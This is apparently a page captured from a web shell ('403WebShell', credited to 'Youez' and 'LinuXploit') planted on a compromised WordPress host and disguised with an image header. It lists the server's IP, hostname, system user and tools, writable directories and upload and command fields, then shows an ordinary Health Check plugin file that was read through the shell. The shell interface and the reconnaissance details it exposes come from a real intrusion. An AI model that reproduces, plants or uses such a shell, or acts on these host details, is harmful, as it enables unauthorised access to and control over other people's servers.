????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.48.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/health-check/HealthCheck/Tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/health-check/HealthCheck/Tools/class-health-check-phpinfo.php
<?php
/**
 * Provide a means to access extended phpinfo details.
 *
 * @package Health Check
 */

// Make sure the file is not directly accessible.
if ( ! defined( 'ABSPATH' ) ) {
	die( 'We\'re sorry, but you can not directly access this file.' );
}

/**
 * Class PhpInfo
 */
class Health_Check_Phpinfo extends Health_Check_Tool {

	public function __construct() {
		$this->label = __( 'PHP Info', 'health-check' );

		if ( ! function_exists( 'phpinfo' ) ) {
			$this->description = __( 'The phpinfo() function has been disabled by your host. Please contact the host if you need more information about your setup.', 'health-check' );
		} else {
			$this->description = __( 'Some scenarios require you to look up more detailed server configurations than what is normally required. The PHP Info page allows you to view all available configuration options for your PHP setup. Please be advised that WordPress does not guarantee that any information shown on that page may not be considered sensitive.', 'health-check' );
		}

		add_action( 'site_health_tab_content', array( $this, 'add_site_health_tab_content' ) );

		parent::__construct();
	}

	/**
	 * Render the PHP Info tab content.
	 *
	 * @param string $tab The slug of the tab being requested.
	 * @return void
	 */
	public function add_site_health_tab_content( $tab ) {
		// If the host has disabled `phpinfo()`, do not try to load the page..
		if ( ! function_exists( 'phpinfo' ) ) {
			return;
		}

		if ( 'phpinfo' === $tab ) {
			include_once( HEALTH_CHECK_PLUGIN_DIRECTORY . '/pages/phpinfo.php' );
		}
	}

	/**
	 * Render the PHP Info tab content.
	 *
	 * @return void
	 */
	public function tab_content() {
		// If the host has disabled `phpinfo()`, do not offer a button alternative.
		if ( ! function_exists( 'phpinfo' ) ) {
			return;
		}

		$phpinfo_url = add_query_arg( array( 'tab' => 'phpinfo' ), admin_url( 'site-health.php' ) );
		if ( defined( 'HEALTH_CHECK_BACKCOMPAT_LOADED' ) && HEALTH_CHECK_BACKCOMPAT_LOADED ) {
			$phpinfo_url = add_query_arg(
				array(
					'page' => 'site-health',
					'tab'  => 'phpinfo',
				),
				admin_url( 'tools.php' )
			);
		}

		?>

		<div class="site-health-view-more">
			<?php
			printf(
				'<a href="%s" class="button button-primary">%s</a>',
				esc_url( $phpinfo_url ),
				__( 'View extended PHP information', 'health-check' )
			);
			?>
		</div>

		<?php
	}
}

new Health_Check_Phpinfo();

Youez - 2016 - github.com/yon3zu
LinuXploit